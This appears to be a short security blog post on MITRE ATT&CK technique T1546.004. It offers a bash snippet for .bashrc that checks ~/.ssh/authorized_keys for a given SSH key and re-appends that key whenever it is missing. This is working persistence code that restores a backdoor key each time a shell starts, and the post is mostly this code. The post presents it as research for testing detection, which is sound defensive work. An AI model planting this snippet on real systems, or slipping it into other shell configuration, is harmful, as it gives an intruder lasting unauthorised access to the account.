Monday, November 1, 2021

T1546 - Unix Shell Configuration Modification

As I was researching how "Unix Shell Configuration Modification" could be tested in a .bashrc file, I created the following bash commands that could be used.  It loops through the .ssh/authorized_keys files reading each line.  A sha256 checksum is gathered for the line of the ssh_key that you wish to insert.  If the ssh_key does not exist it will insert it, if the ssh_key does exist it does nothing.


exists="False"
while read l; do
  checksum=`echo "$l" | sha256sum | awk '{print $1}'`
  # For troubleshooting uncomment the following line to verify the checksum of the line in ~/.ssh/authorized_keys
  # echo $checksum
  # Substitute the checksum for the ssh-key that you want to be reintroduced to the authorized_keys file...
  if [ "$checksum" == "333459f693d01b41c0083bf8dc25ad51e08adf4a9474a3fb34198e3967d53bd4" ]; then
	  exists="True"
  fi
done < ~/.ssh/authorized_keys
if [ "$exists" == "False" ]; then
	# Verify the ssh-key that you are using is placed below...
	echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxGaIRqqBKzYJE+0atqKP9u/NCEElmevLyzdkPUYWHxZo16j8OykIfytbCDCagGobdCq4BOEQ48AoyecvFSG+G4NQib4iDDQMzp4+2b5Rs9LpAZgFAaU5BN2MIh7JNk6zWZ23Z5lOse4AembbyFsR0bQvfFSd1XzagUrmkH/Tg4EPgneieYyTp4vk2shvLWVxabZljsKd4hvV3Ei2xcCPU6nAqVoYNOAdUAI9HNkCf3ZDJU/zcm4MjGjCEoww0Krvuy9NuT2JIKdnk2OZHtKU4glIRLOQl3cI0AZaq6IF5VYsniVy+Ag6hVsLfEb7ByJIVlYkvgsW0POjfqLYezGd1Cwz5BKiTJUsCTt/GRhOgpAEkRVhY6TuMr/wgnyUMWxvSsiiLVahU4zvwyJsf8FD5vEhjc4yq+uwB7GX38fVam19LLRcF3OzHm3+mOxZRXjctnq5S6AQMRdTzHzC1tsj0= invalid@key" >> ~/.ssh/authorized_keys
fi 
 
 
Reference: https://attack.mitre.org/techniques/T1546/004/ 

No comments:

Post a Comment

Test Authentication from Linux Console using python3 pexpect

Working with the IT420 lab, you will discover that we need to discover a vulnerable user account.  The following python3 script uses the pex...